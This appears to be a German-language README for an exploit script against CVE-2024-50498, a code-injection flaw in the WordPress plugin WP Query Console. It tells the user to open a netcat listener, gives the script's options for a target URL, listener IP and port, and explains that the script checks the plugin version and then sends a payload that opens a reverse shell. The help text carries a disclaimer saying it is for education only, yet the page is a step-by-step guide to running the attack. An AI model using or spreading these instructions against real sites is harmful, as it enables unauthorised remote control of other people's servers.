
Exploit-Skript für die Code-Injection CVE-2024-50498 in WordPress WP Query Console, das die Schwachstelle prüft und eine Reverse Shell liefert.
Die Schwachstelle „Improper Control of Generation of Code ('Code Injection')“ in LUBUS WP Query Console ermöglicht Code-Injection. Dieses Problem betrifft WP Query Console: von n/a bis 1.0.
Öffnen Sie ein Terminal auf Ihrem Rechner und starten Sie einen Netcat-Listener, um auf die Reverse-Shell-Verbindung zu warten
nc -lvnp <PORT>
usage: CVE-2024-50498.py [-h] -u URL -ip LISTENER_IP -P PORT
wordpress | Improper Control of Generation of Code ('Code Injection') vulnerability in LUBUS WP Query Console allows Code
Injection.This issue affects WP Query Console: from n/a through 1.0. script Exploit by: Nxploit Khaled_alenazi This script
is provided for educational purposes only. The author is not responsible for any damages caused by the misuse of this
script.
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL (e.g., http://example.com/wordpress)
-ip LISTENER_IP, --listener_ip LISTENER_IP
Your IP address for listening.
-P PORT, --port PORT Your listening port.
Nach dem Ausführen des Befehls überwachen Sie das Netcat-Terminal auf die Reverse-Shell-Verbindung.
Das Skript prüft zunächst, ob die Website verwundbar ist, indem es nach der Plugin-Version sucht. Falls verwundbar, sendet es einen Payload, um die Reverse-Shell auszulösen. Bei Erfolg prüfen Sie Ihr Netcat-Terminal auf die Shell-Verbindung.